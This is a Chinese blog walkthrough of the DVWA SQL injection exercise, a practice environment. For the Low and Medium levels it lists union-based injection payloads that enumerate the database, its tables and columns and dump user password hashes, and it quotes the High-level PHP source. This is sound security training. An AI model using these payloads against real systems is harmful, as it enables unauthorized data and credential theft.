DVWA-SQL Injection

本文详细介绍了如何通过SQL注入漏洞进行数据库探测,从LOW到High级别的实例展示了查询数据库、获取表名和字段名的过程,并提供了源码分析。在High级别部分,作者提到由于难度较高,建议参考相关文章学习。
摘要由CSDN通过智能技术生成

LOW

判断注入是否存在

1' order by 2 #
1' order by 3 #

2的时候正常回显,但是3的时候报错,证明存在两个回显点,查询数据库

1' union select 1,database() #

查到数据库之后查询,查表名

1 union select 1,table_name from information_schema.tables where table_schema=database() #

两张表,先查表里的字段语句一样,改一下表名就行

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 

查看user和password,不过是MD5加密需要自己去解密一下

1' union select user,password from dvwa.users #

 

Medium 

 老规矩试一下,发现‘被转义了

1‘order by 1

 那就不是字符型注入,尝试一下数字型注入

 我们发现有回显了,那就按照LOW等级的一样操作即可,查看数据库

1' union select 1,database() #

查表名

1 union select 1,table_name from information_schema.tables where table_schema=database() #

 查uesr里有什么,这里对user和dvwa进行了十六进制转码

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

看看user ,这里自己去转码一下得到结果

1' union select user,password from dvwa.users

High

这里直接分析一下源码

<?php    

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = stripslashes($id);
    $id = mysql_real_escape_string($id);

    if (is_numeric($id)){

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

        $num = mysql_numrows($result);

        $i=0;

        while ($i < $num) {

            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");
            
            echo '<pre>';
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            echo '</pre>';

            $i++;
        }
    }
}
?>

high实在太难了,只能去网上参考大佬文章一步一步来,通过DVWA学习SQL注入漏洞_tdl17703438791的博客-CSDN博客

谢谢大佬了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值